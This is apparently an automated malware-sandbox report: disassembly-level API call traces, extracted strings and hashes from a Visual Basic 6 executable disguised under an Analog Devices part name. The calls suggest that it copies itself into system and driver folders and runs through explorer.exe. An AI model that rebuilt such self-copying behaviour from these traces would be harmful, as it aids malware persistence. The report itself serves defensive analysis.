Part of subcall function 004259A0: __vbaOnError.MSVBVM60(00000001), ref: 00425A16
Part of subcall function 004259A0: #648.MSVBVM60(0000000A), ref: 00425A2E
Part of subcall function 004259A0: __vbaFreeVar.MSVBVM60 ref: 00425A3D
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60(?), ref: 00425A4F
Part of subcall function 004259A0: __vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 00425A59
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60 ref: 00425A61
Part of subcall function 004259A0: #570.MSVBVM60(00000000), ref: 00425A64
Part of subcall function 004259A0: __vbaLenBstr.MSVBVM60(0040545C), ref: 00425A74
Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60 ref: 00425A93
Part of subcall function 004259A0: __vbaStrMove.MSVBVM60(?), ref: 00425AA9
Part of subcall function 004259A0: __vbaFreeStr.MSVBVM60 ref: 00425AAE
Part of subcall function 004259A0: __vbaLenBstr.MSVBVM60(0040545C), ref: 00425AC2
Part of subcall function 004259A0: #525.MSVBVM60(00000000), ref: 00425AC9
Part of subcall function 004259A0: __vbaStrMove.MSVBVM60 ref: 00425AD4
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60 ref: 00425AD9
Part of subcall function 004259A0: __vbaGet4.MSVBVM60(00000000,?,-00000001,00000000), ref: 00425AE3

__vbaStrCmp.MSVBVM60(00000000,00000000), ref: 0040C157
#580.MSVBVM60(00000000,00000027,00000000,00000000,0042C0E4,00000000), ref: 0040C1B9
__vbaStrCat.MSVBVM60( PR,00000000,00000000), ref: 0040C1D2
#600.MSVBVM60(00000008,00000000), ref: 0040C1E8
__vbaFreeVar.MSVBVM60 ref: 0040C1F7
__vbaNew.MSVBVM60(004075DC), ref: 0040C209
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040C214
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406330,00000730), ref: 0040C250
__vbaFreeObj.MSVBVM60 ref: 0040C26B
__vbaStrCopy.MSVBVM60 ref: 0040C296
__vbaStrMove.MSVBVM60(?), ref: 0040C2AA
__vbaStrCopy.MSVBVM60 ref: 0040C2B7
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040C2C7
__vbaStrCopy.MSVBVM60 ref: 0040C2DF

Part of subcall function 004228E0: __vbaStrMove.MSVBVM60 ref: 00422A8B
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60(?,00000000), ref: 00422AA0
Part of subcall function 004228E0: __vbaStrCmp.MSVBVM60(00000000), ref: 00422AA7
Part of subcall function 004228E0: __vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,00000000), ref: 00422ACE
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60(?), ref: 00422AF4
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60(00000004), ref: 00422B15
Part of subcall function 004228E0: #618.MSVBVM60(00000000), ref: 00422B1C
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60 ref: 00422B27
Part of subcall function 004228E0: __vbaI4Str.MSVBVM60(00000000), ref: 00422B2E
Part of subcall function 004228E0: __vbaFreeStrList.MSVBVM60(00000003,?,?,00000000), ref: 00422B45
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 00422B78
Part of subcall function 004228E0: __vbaFileClose.MSVBVM60(00000000), ref: 00422B7F
Part of subcall function 004228E0: __vbaFreeStr.MSVBVM60(00422BC8), ref: 00422BB8
Part of subcall function 004228E0: __vbaFreeStr.MSVBVM60 ref: 00422BC1

__vbaFreeStr.MSVBVM60(80000002,00000000,00000000,00000000), ref: 0040B52E

Part of subcall function 004296C0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,?,0040CAFD,0042C0D4), ref: 004296DE
Part of subcall function 004296C0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042970E
Part of subcall function 004296C0: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429723
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 0042973D
Part of subcall function 004296C0: __vbaStrCat.MSVBVM60(00000000,?,?,?,00000000,004032B6), ref: 00429744
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042974F
Part of subcall function 004296C0: __vbaStrCat.MSVBVM60(explorer.exe, ,00000000,?,?,?,00000000,004032B6), ref: 00429761
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042976C
Part of subcall function 004296C0: __vbaStrCat.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429779
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429784
Part of subcall function 004296C0: __vbaStrCopy.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429792
Part of subcall function 004296C0: __vbaStrCopy.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 004297A0
Part of subcall function 004296C0: __vbaFreeStrList.MSVBVM60(00000007,?,?,?,00000000,?,?,?,00000000,?,?,?,?,00000000), ref: 004297D9

__vbaStrMove.MSVBVM60 ref: 0040B4C8

Part of subcall function 0042A090: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,0040CA73,80000002,00000000), ref: 0042A0AE
Part of subcall function 0042A090: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0DB
Part of subcall function 0042A090: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0E7
Part of subcall function 0042A090: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0F3
Part of subcall function 0042A090: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042A102
Part of subcall function 0042A090: __vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 0042A11B
Part of subcall function 0042A090: __vbaSetSystemError.MSVBVM60(80000002,00000000,?,?,?,00000000,004032B6), ref: 0042A12B
Part of subcall function 0042A090: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A139
Part of subcall function 0042A090: __vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A142
Part of subcall function 0042A090: __vbaLenBstr.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 0042A153
Part of subcall function 0042A090: __vbaStrToAnsi.MSVBVM60(?,?,00000000,?,?,?,00000000,004032B6), ref: 0042A162
Part of subcall function 0042A090: __vbaStrToAnsi.MSVBVM60(00000001,?,00000000,00000001,00000000,?,?,?,00000000,004032B6), ref: 0042A175
Part of subcall function 0042A090: __vbaSetSystemError.MSVBVM60(00000000,00000000,?,?,?,00000000,004032B6), ref: 0042A185
Part of subcall function 0042A090: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A193
Part of subcall function 0042A090: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A1A1
Part of subcall function 0042A090: __vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,?,00000000,004032B6), ref: 0042A1B1
Part of subcall function 0042A090: __vbaSetSystemError.MSVBVM60(?,?,00000000,004032B6), ref: 0042A1CA
Part of subcall function 0042A090: __vbaFreeStr.MSVBVM60(0042A207,?,00000000,004032B6), ref: 0042A1EE
Part of subcall function 0042A090: __vbaFreeStr.MSVBVM60(?,00000000,004032B6), ref: 0042A1F7

__vbaStrCmp.MSVBVM60(00406F28,?), ref: 0040B56A
#580.MSVBVM60(00000000,00000027,00000000,00000000,0042C0D4,00000000), ref: 0040B5CC
__vbaStrCat.MSVBVM60( RU,00000000,00000000), ref: 0040B5E5
__vbaStrMove.MSVBVM60 ref: 0040B5F0
__vbaFreeStr.MSVBVM60(80000002,00000000,00000000,00000000), ref: 0040B611
__vbaStrCat.MSVBVM60( RU,00000000), ref: 0040B62A
__vbaStrMove.MSVBVM60 ref: 0040B635
__vbaFreeStr.MSVBVM60(80000002,00000000,00000000,00000000), ref: 0040B656
#600.MSVBVM60(00004008,00000000,0042C0D4), ref: 0040B691
__vbaEnd.MSVBVM60 ref: 0040B6A4
__vbaStrCopy.MSVBVM60 ref: 0040BA01
__vbaStrMove.MSVBVM60(?), ref: 0040BA15
__vbaStrCopy.MSVBVM60 ref: 0040BA22
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040BA32
__vbaStrCopy.MSVBVM60 ref: 0040BA4A
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040B413

Part of subcall function 004228E0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,0040CB10,00000000,0042C0D4), ref: 004228FE
Part of subcall function 004228E0: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042292B
Part of subcall function 004228E0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042293A
Part of subcall function 004228E0: #648.MSVBVM60(0000000A), ref: 00422959
Part of subcall function 004228E0: __vbaFreeVar.MSVBVM60 ref: 00422968
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60(?), ref: 0042297C
Part of subcall function 004228E0: __vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 0042298A
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 0042299A
Part of subcall function 004228E0: #570.MSVBVM60(00000000), ref: 004229A1
Part of subcall function 004228E0: __vbaLenBstr.MSVBVM60(0040545C), ref: 004229AE
Part of subcall function 004228E0: __vbaLenBstr.MSVBVM60(0040545C), ref: 004229E5
Part of subcall function 004228E0: #525.MSVBVM60(00000000), ref: 004229EC
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60 ref: 004229F7
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 00422A07
Part of subcall function 004228E0: __vbaFileSeek.MSVBVM60(00000004,00000000), ref: 00422A12
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 00422A22
Part of subcall function 004228E0: __vbaGet3.MSVBVM60(00000000,?,00000000), ref: 00422A2F
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60(?), ref: 00422A4A
Part of subcall function 004228E0: __vbaStrCopy.MSVBVM60 ref: 00422A68
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60(00000003), ref: 00422A79
Part of subcall function 004228E0: #616.MSVBVM60(00000000), ref: 00422A80

#580.MSVBVM60(00000000,00000027,00000000,00000000,0042C0F4,00000000,0042C0D4), ref: 0040CB52
__vbaStrCat.MSVBVM60( MR,00000000,0042C110,0042C114,0042C118,00000000,0042C0D4), ref: 0040CB7A
__vbaStrMove.MSVBVM60 ref: 0040CB85
__vbaFreeStr.MSVBVM60(00000000), ref: 0040CB94
__vbaStrCopy.MSVBVM60(80000002,00000000,00000000,80000002,00000000,00000000), ref: 0040CBE5
__vbaStrMove.MSVBVM60 ref: 0040B2E7

Part of subcall function 004115D0: __vbaStrCopy.MSVBVM60 ref: 0041189C
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(004118D5), ref: 004118CE

__vbaStrCopy.MSVBVM60 ref: 0040B1D7

Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,?), ref: 0041176F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,?), ref: 00411778
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117A9
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117B4
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 004117BB
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0041180F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411818
Part of subcall function 004115D0: #537.MSVBVM60(-0000000C,?,?,?,00000002,?,?,00000002,?,?,?), ref: 00411853
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411864
Part of subcall function 004115D0: __vbaStrCat.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 00411867
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411872
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411877

__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B0E4

Part of subcall function 004115D0: __vbaLenBstr.MSVBVM60(00000000), ref: 0041160D
Part of subcall function 004115D0: #631.MSVBVM60(?,?,?), ref: 00411658
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,?), ref: 00411663
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,?), ref: 0041166A
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,?), ref: 004116C8
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,?), ref: 004116D1
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 00411701
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0041170C
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 00411713

__vbaStrMove.MSVBVM60(?), ref: 0040CBF9
__vbaStrCopy.MSVBVM60 ref: 0040CC06
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040CC16
__vbaStrCopy.MSVBVM60 ref: 0040CC2E
__vbaStrMove.MSVBVM60(?), ref: 0040CC42
__vbaStrCopy.MSVBVM60 ref: 0040CC4F
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040CC5F
__vbaStrCopy.MSVBVM60 ref: 0040CC77
__vbaStrMove.MSVBVM60(?), ref: 0040CC8B
__vbaStrCopy.MSVBVM60 ref: 0040CC98
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040CCA8
__vbaStrCopy.MSVBVM60 ref: 0040CCC0
__vbaStrMove.MSVBVM60(?), ref: 0040CCD4
__vbaStrCopy.MSVBVM60 ref: 0040CCE1
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040CCF1
__vbaStrCopy.MSVBVM60 ref: 0040CD09
__vbaStrCat.MSVBVM60(system\,00000000), ref: 0040CD1B
__vbaStrMove.MSVBVM60 ref: 0040CD26
__vbaStrMove.MSVBVM60(?,00000000), ref: 0040CD3B
__vbaStrCat.MSVBVM60(00000000), ref: 0040CD42
__vbaStrMove.MSVBVM60 ref: 0040CD4D
__vbaStrCopy.MSVBVM60 ref: 0040CD5A
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?), ref: 0040CD72
__vbaStrCopy.MSVBVM60 ref: 0040CD8A
__vbaStrCat.MSVBVM60(system\,00000000), ref: 0040CD9C
__vbaStrMove.MSVBVM60 ref: 0040CDA7
__vbaStrMove.MSVBVM60(?,00000000), ref: 0040CDBC
__vbaStrCat.MSVBVM60(00000000), ref: 0040CDC3
__vbaStrMove.MSVBVM60 ref: 0040CDCE
__vbaStrCopy.MSVBVM60 ref: 0040CDDB
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?), ref: 0040CDF3
__vbaStrCat.MSVBVM60(at.,00000000), ref: 0040CE0F
__vbaStrMove.MSVBVM60 ref: 0040CE1A
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040CE28
__vbaStrMove.MSVBVM60 ref: 0040CE33
__vbaStrCopy.MSVBVM60 ref: 0040CE40
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040CE50
__vbaStrCopy.MSVBVM60 ref: 0040CE68
__vbaStrMove.MSVBVM60(?), ref: 0040CE7C
__vbaStrCopy.MSVBVM60 ref: 0040CE89
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040CE99

Part of subcall function 00411F00: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,?,0040CEB3,0042C160), ref: 00411F1E
Part of subcall function 00411F00: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 00411F4E
Part of subcall function 00411F00: __vbaStrMove.MSVBVM60(0040CEB3,?,?,?,00000000,004032B6), ref: 00411F69
Part of subcall function 00411F00: __vbaStrMove.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00411F7D
Part of subcall function 00411F00: __vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 00411F86
Part of subcall function 00411F00: __vbaLenBstr.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00411F97
Part of subcall function 00411F00: __vbaAryUnlock.MSVBVM60(?,004156AF), ref: 0041565A
Part of subcall function 00411F00: __vbaAryUnlock.MSVBVM60(?), ref: 00415667
Part of subcall function 00411F00: __vbaAryUnlock.MSVBVM60(?), ref: 00415674
Part of subcall function 00411F00: __vbaAryUnlock.MSVBVM60(?), ref: 00415681
Part of subcall function 00411F00: __vbaAryDestruct.MSVBVM60(00000000,?), ref: 0041568D
Part of subcall function 00411F00: __vbaFreeStr.MSVBVM60 ref: 00415696
Part of subcall function 00411F00: __vbaFreeStr.MSVBVM60 ref: 0041569F
Part of subcall function 00411F00: __vbaFreeStr.MSVBVM60 ref: 004156A8

__vbaObjSet.MSVBVM60(?,00000000), ref: 0040CEE1
__vbaHresultCheckObj.MSVBVM60(00000000,?,00407978,0000005C), ref: 0040CF27
__vbaFreeObj.MSVBVM60 ref: 0040CF42
__vbaFreeStr.MSVBVM60(0040CFB1), ref: 0040CFA1
__vbaFreeStr.MSVBVM60 ref: 0040CFAA

Part of subcall function 004115D0: __vbaErase.MSVBVM60(004065BC,0042C078,0000000A,-00000061,6D04DF85), ref: 00411B74
Part of subcall function 004115D0: __vbaRedim.MSVBVM60(00000000,00000024,0042C078,004065BC,00000001,00000003,00000001), ref: 00411B97
Part of subcall function 004115D0: __vbaAryLock.MSVBVM60(?,00000000), ref: 00411BAA
Part of subcall function 004115D0: __vbaGenerateBoundsError.MSVBVM60 ref: 00411BCE
Part of subcall function 004115D0: __vbaStrCopy.MSVBVM60 ref: 00411BFE
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?), ref: 00411C14
Part of subcall function 004115D0: __vbaStrCopy.MSVBVM60 ref: 00411C1A
Part of subcall function 004115D0: __vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 00411C2C
Part of subcall function 004115D0: __vbaAryUnlock.MSVBVM60(?), ref: 00411C3E
Part of subcall function 004115D0: __vbaAryLock.MSVBVM60(?,00000000), ref: 00411C4F

__vbaErrorOverflow.MSVBVM60 ref: 0040CFD8
__vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0040CFFE
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0040D02E
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406330,00000728), ref: 0040D081
__vbaHresultCheckObj.MSVBVM60(00000000,?,004077C4,0000001C), ref: 0040D0C9
__vbaI2I4.MSVBVM60 ref: 0040D0ED
__vbaFreeObj.MSVBVM60 ref: 0040D0FA
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040D164

Strings

:%7, xrefs: 0040BE17
yLZ, xrefs: 0040C34F
PR, xrefs: 0040C1CD
at., xrefs: 0040CE0A
SE, xrefs: 0040BD75
RU, xrefs: 0040B4B8, 0040B4FD, 0040B5E0, 0040B625
~, xrefs: 0040C4DC
at , xrefs: 0040C534
MR, xrefs: 0040CB75
RO, xrefs: 0040CA2D, 0040CA94
system\, xrefs: 0040B12C, 0040B21E, 0040B2D7, 0040B358, 0040BB8E, 0040BE75, 0040C003, 0040C0AD, 0040CD16, 0040CD97
system32\drivers\, xrefs: 0040BEF6
Once, xrefs: 0040CA52, 0040CAB8

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Move$Free$Copy$List$Error$CheckHresult$Bstr$ChkstkSystem$AnsiNew2Unicode$#580$#525#600File$#517#537#616Unlock$#631$#516#570#648Open$#618#690Get3LockNameSeek$#529#535#598#611#661#669#705#709BoundsCloseComputerDestructEraseFromGenerateGet4OverflowPathRedimUser
String ID: MR$ PR$ RO$ RU$ SE$:%7$Once$at $at.$system32\drivers\$system\$yLZ$~
API String ID: 3992495243-2767012170
Opcode ID: c75b1a3e694dbd6f5d10d2331ab2ca9d09b35fafcf85166375154907e56220f4
Instruction ID: c9e735e97b199634a30fa5df19e6cf838b9fc4480779932f55755727901e6869
Opcode Fuzzy Hash: c75b1a3e694dbd6f5d10d2331ab2ca9d09b35fafcf85166375154907e56220f4
Instruction Fuzzy Hash: D2531A75A00208EFDB14DFA0EE89BDEBBB5EF48304F108169E506B72A0DB745A45CF59

Function 004218D0 Relevance: 161.5, APIs: 91, Strings: 1, Instructions: 456
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,0040C78D,00000000,00000000), ref: 004218EE
__vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0042191B
__vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00421927
__vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00421933
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 00421942
#648.MSVBVM60(0000000A), ref: 00421961
__vbaFreeVar.MSVBVM60 ref: 00421970
__vbaI2I4.MSVBVM60(?), ref: 00421984
__vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 00421992
__vbaI2I4.MSVBVM60 ref: 004219A2
#570.MSVBVM60(00000000), ref: 004219A9
__vbaLenBstr.MSVBVM60(Function_0000545C), ref: 004219B6
__vbaLenBstr.MSVBVM60(Function_0000545C), ref: 004219ED
#525.MSVBVM60(00000000), ref: 004219F4
__vbaStrMove.MSVBVM60 ref: 004219FF
__vbaI2I4.MSVBVM60 ref: 00421A0F
__vbaFileSeek.MSVBVM60(00000004,00000000), ref: 00421A1A
__vbaI2I4.MSVBVM60 ref: 00421A2A
__vbaGet3.MSVBVM60(00000000,?,00000000), ref: 00421A37
__vbaStrCopy.MSVBVM60 ref: 00421A4C

Part of subcall function 004115D0: __vbaLenBstr.MSVBVM60(00000000), ref: 0041160D
Part of subcall function 004115D0: #631.MSVBVM60(?,?,?), ref: 00411658
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,?), ref: 00411663
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,?), ref: 0041166A
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,?), ref: 004116C8
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,?), ref: 004116D1
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 00411701
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0041170C
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 00411713

__vbaStrMove.MSVBVM60(?), ref: 00421A60

Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,?), ref: 0041176F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,?), ref: 00411778
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117A9
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117B4
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 004117BB
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0041180F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411818
Part of subcall function 004115D0: #537.MSVBVM60(-0000000C,?,?,?,00000002,?,?,00000002,?,?,?), ref: 00411853
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411864
Part of subcall function 004115D0: __vbaStrCat.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 00411867
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411872
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411877

__vbaStrMove.MSVBVM60(?,00000000), ref: 00421A75
__vbaStrCmp.MSVBVM60(00000000), ref: 00421A7C
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 00421A9E
__vbaI2I4.MSVBVM60(?,?,00000000,Function_000032B6), ref: 00421ACB
__vbaFileClose.MSVBVM60(00000000,?,?,00000000,Function_000032B6), ref: 00421AD2
__vbaI2I4.MSVBVM60 ref: 00421AE9
__vbaFileClose.MSVBVM60(00000000), ref: 00421AF0
__vbaI2I4.MSVBVM60 ref: 00421B1B
__vbaFileSeek.MSVBVM60(?,00000000), ref: 00421B26
__vbaI2I4.MSVBVM60 ref: 00421B36
__vbaGet3.MSVBVM60(00000004,?,00000000), ref: 00421B43
__vbaI2I4.MSVBVM60 ref: 00421B72
__vbaFileSeek.MSVBVM60(00000001,00000000), ref: 00421B7B

Part of subcall function 00415AF0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,0040CB29,0042C0F4,00000000,0042C0D4), ref: 00415B0E
Part of subcall function 00415AF0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 00415B3E
Part of subcall function 00415AF0: #580.MSVBVM60(00000000,00000000,00000000,?,?,?,00000000,004032B6), ref: 00415B6A
Part of subcall function 00415AF0: #529.MSVBVM60(00004008), ref: 00415B88

#648.MSVBVM60(0000000A,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421BAA
__vbaFreeVar.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421BB9
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421BCD
__vbaFileOpen.MSVBVM60(00000220,000000FF,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421BDB
#525.MSVBVM60(00001000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421BED
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421BF8
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421C51
__vbaGet3.MSVBVM60(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421C5E
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421C6E
__vbaPut3.MSVBVM60(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421C7B
#525.MSVBVM60(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421CB9
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421CC4
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421CD4
__vbaGet3.MSVBVM60(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421CE1
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421CF1
__vbaPut3.MSVBVM60(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421CFE
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421D20
__vbaFileClose.MSVBVM60(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421D27
#648.MSVBVM60(0000000A,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421D56
__vbaFreeVar.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421D65
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421D79
__vbaFileOpen.MSVBVM60(00000220,000000FF,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421D87
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421D97
__vbaFileClose.MSVBVM60(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421D9E
#580.MSVBVM60(?,00000026,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421DB1
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421DC5
__vbaFileOpen.MSVBVM60(00000220,000000FF,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421DD3
#525.MSVBVM60(00001000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421DE5
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421DF0
